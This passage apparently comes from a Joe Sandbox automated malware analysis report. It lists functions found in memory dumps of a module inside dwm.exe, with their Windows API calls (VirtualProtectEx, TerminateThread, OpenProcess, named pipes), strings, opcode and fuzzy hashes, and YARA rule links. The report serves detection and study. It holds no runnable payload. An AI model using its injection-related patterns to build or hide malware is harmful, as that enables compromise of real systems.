VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B8E
TerminateThread.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B9D

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: ca1db09284835703f8126d1d30cbbd0ee1ec14c941f4e324781277f7f715831b
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: B2111776201B4086FF389B61E82C71A73B5AB48B55F040824CA4D87764EF3ECA4CC72A

Function 000002BAAF2119D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAF2119F8
StrCmpNIW.SHLWAPI ref: 000002BAAF211A12
lstrlenW.KERNEL32 ref: 000002BAAF211A21
StrCpyW.SHLWAPI ref: 000002BAAF211A36

Strings

\\?\, xrefs: 000002BAAF211A06

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: f4a654ae187bbc2741a9c03123a6bc6add0e6934cdeefba99666c279163a0754
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: ABF04F3330468192EB348B25F8A87597770F744B88F848121DA4986958DF7EDA8DCB25

Function 000002BAAF21330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,000002BAAF212585), ref: 000002BAAF21332E
StrCpyW.SHLWAPI ref: 000002BAAF21333E
StrCatW.SHLWAPI ref: 000002BAAF21334A
PathCombineW.SHLWAPI(?,?,?,000002BAAF212585), ref: 000002BAAF213358

Strings

\\.\pipe\, xrefs: 000002BAAF213324

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: fa13591aeca66546914b0c1e565b36f44d29ebdfc84e8b75ef3c4e37e678ddf1
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 32F08222304B8091EA288B13B9281197371AB48FD0F088131DE5A87B68CF3DCC89C719

Function 000002BAAF21A258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002BAAF21A274
GetProcAddress.KERNEL32 ref: 000002BAAF21A28A
FreeLibrary.KERNEL32 ref: 000002BAAF21A2A7

Strings

CorExitProcess, xrefs: 000002BAAF21A283
mscoree.dll, xrefs: 000002BAAF21A26B

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: a1c6838bf8565cfbc7161abdecf5326e6c79d494dbb047ffbf74450213791555
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: C8F08C63321A0082FF6C8F60E8AC3683370EB88B40F481419954BC6660CF3EC99CDB36

Function 000002BAAF220980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAF2209C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002BAAF22093F,?,?,?,000002BAAF21E263), ref: 000002BAAF220A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002BAAF22093F,?,?,?,000002BAAF21E263), ref: 000002BAAF220B0A

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: 22628d253f4b2124741ef3d755309fd324007fa4989dfa84a4d75b1062aadd95
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: A881D13361065089FB68DB6488B87ED77B1F748B98F444115DE0AE77A1EB36844AC732

Function 000002BAAF215B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAF215B46

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 452c4da48bc17cec2e35f21799188dc8555b2eac98ca7fdb2052e490eff5b469
Instruction ID: c570d6d1b000993b898d88c015bb25e368b99221ccd65f3ac4dfc0790bec377e
Opcode Fuzzy Hash: 452c4da48bc17cec2e35f21799188dc8555b2eac98ca7fdb2052e490eff5b469
Instruction Fuzzy Hash: 06610C33119B44C6EB68CF15E46931AB7B0F388784F500155EA8E87BA8DB7EC548CF19

Function 000002BAAF221FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAF222000
_set_statfp.LIBCMT ref: 000002BAAF22201B
_set_statfp.LIBCMT ref: 000002BAAF222037
_set_statfp.LIBCMT ref: 000002BAAF222073

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 7097b8acd0b530d4b0a9a6d0ff9f2f11ec16afe7dad8c1a911792a3322799ef8
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: CA118623A54A1101F75C1724D47E37973606B75374F044634AE76DA3E68B5B8E8DC133

Function 000002BAAF1F13D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAF1F1400
_set_statfp.LIBCMT ref: 000002BAAF1F141B
_set_statfp.LIBCMT ref: 000002BAAF1F1437
_set_statfp.LIBCMT ref: 000002BAAF1F1473

Memory Dump Source

Source File: 00000010.00000003.1817613500.000002BAAF1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_2baaf1e0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 9d670050d6ab185e45e66283b4d120b581601cfb19ab76edf0a6d8a8a3486fc4
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 7F11CE73A40B1081F76C1228E45E3A93B706BF4774F480627EB76B66DADB1A8841C722

Function 000002BAAF213558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002BAAF21357A
StrStrW.SHLWAPI ref: 000002BAAF213594
StrToIntW.SHLWAPI ref: 000002BAAF2135BB

Part of subcall function 000002BAAF211934: OpenProcess.KERNEL32 ref: 000002BAAF21195A
Part of subcall function 000002BAAF211934: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAF211978
Part of subcall function 000002BAAF211934: PathFindFileNameW.SHLWAPI ref: 000002BAAF211987
Part of subcall function 000002BAAF211934: lstrlenW.KERNEL32 ref: 000002BAAF211993
Part of subcall function 000002BAAF211934: StrCpyW.SHLWAPI ref: 000002BAAF2119A6
Part of subcall function 000002BAAF211934: CloseHandle.KERNEL32 ref: 000002BAAF2119B4

Part of subcall function 000002BAAF213C70: StrCmpNIW.SHLWAPI(?,?,?,000002BAAF21255A), ref: 000002BAAF213C88

Strings

pid_, xrefs: 000002BAAF213570

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: 7aaadda06542fe4e4acc22baabab240a0e73d413edf737f765fdd66a223f3998
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: 59116A26300A8191FF389B25E82939A73B5F788780F500121DE49C3A94EF3ACD09C76E

Function 000002BAAF2114A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF2114C5
HeapFree.KERNEL32 ref: 000002BAAF2114D4
GetProcessHeap.KERNEL32 ref: 000002BAAF2114E1
HeapFree.KERNEL32 ref: 000002BAAF2114F0
GetProcessHeap.KERNEL32 ref: 000002BAAF211500

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: d41a58d153652720a5ec27ddd0e6e873cf0f79565136c1956944f6c6c61b611d
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: 8D011A33611B90C6E718DFA6E81829977B1F788F84F084425EA4A93728DF39C859C755

Function 000002BAAF212618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAF212701
StrCpyW.SHLWAPI ref: 000002BAAF21271A

Strings

\\.\pipe\, xrefs: 000002BAAF21270C

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: 582f9027be96268d194dcb6bee9941c93b8b42454e5c21d2fe54859b00c74d0c
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: EF71813360078186EF7C9F2698683AA77B5F385784F450025ED4993B98DF36CA09C76E

Function 000002BAAF1ED178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAF1ED249

Strings

bad array new length, xrefs: 000002BAAF1ED385, 000002BAAF1ED396
HIJKLMNOPQRSTUVWXYZ, xrefs: 000002BAAF1ED2A1, 000002BAAF1ED345

Memory Dump Source

Source File: 00000010.00000003.1817613500.000002BAAF1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_2baaf1e0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: f0af33db4e1575e7fb6d00d73accf7bb8c0e10e1a2b89e4c6dbe87231cd6418d
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: 9E616A6360064582FAAD9B19D15833EBFB4F791B80F14481BDB0A977A8DB3BC841C332

Function 000002BAAF212408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAF2124ED
StrCpyW.SHLWAPI ref: 000002BAAF212504

Strings

\\.\pipe\, xrefs: 000002BAAF2124F8

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: e8639d5fbed36d3742fc3bb2bd07fadf728fb44a619c533cc13aa27e372503a6
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: 5E518D3320878551EE7CDE25A1BC3AA7775F385780F440025EE4983B89DB3AC908D75E

Function 000002BAAF220724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAF22083B
GetLastError.KERNEL32 ref: 000002BAAF22085D

Strings

U, xrefs: 000002BAAF2207E7

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: 37d427d7877672c6359396deda68cdd5fe6c8c06a1101931b830fae45d784dc9
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: 6141A033614A4482EB24DF25E8583AA77B1F798794F814021EE4DC7798EB39C549CB62

Function 000002BAAF21D7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAF21D819
LCMapStringW.KERNEL32 ref: 000002BAAF21D8A1

Strings

LCMapStringEx, xrefs: 000002BAAF21D7FC, 000002BAAF21D80D

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 0d0e01c185eccc3dd7ce781cfc4c52b0c07a5d9784f0925fe970f4753a945d71
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: 81114732608B80C6DB64CB56F49429AB7B4F7C9B84F54412AEE8D83B59CF38C518CB04

Function 000002BAAF2195F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002BAAF219634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002BAAF2184FB), ref: 000002BAAF21967A

Strings

csm, xrefs: 000002BAAF219667

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 4e3e5ba4fd33e08099070b5b44bf6dcb4b0c40132ea89adbf06006fdee3614f2
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 77113632618B8082EB258F25E454359B7A4F788B94F188220EF8C47B68DF3EC955CB54

Function 000002BAAF21D77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAF21D7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,000002BAAF21AE98), ref: 000002BAAF21D7C7

Strings

InitializeCriticalSectionEx, xrefs: 000002BAAF21D7A1

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: 63340a853cb01489453e0ffa3a10237ba9bea2044928fce77fc3b315f2950c6c
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: 88F08237304B80C2FB2C9B95F8586997370AB48B90F944525E90943B95CF3AC94DCB66

Function 000002BAAF21D728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002BAAF21D751
TlsSetValue.KERNEL32(?,?,?,000002BAAF21B50E,?,?,?,000002BAAF21B969,?,?,?,?,000002BAAF21BA1D), ref: 000002BAAF21D768

Strings

FlsSetValue, xrefs: 000002BAAF21D73E

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: 85fff2e6ecbb76e0daeab9c9ea558aae7dcfc0d94370cf8759ede24d3776f7d9
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: 7EE06577200500D1FA5C4B60F4686D83371A748780F984125E50586295DF3EC94EC677

Function 000002BAAF211C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF211C65
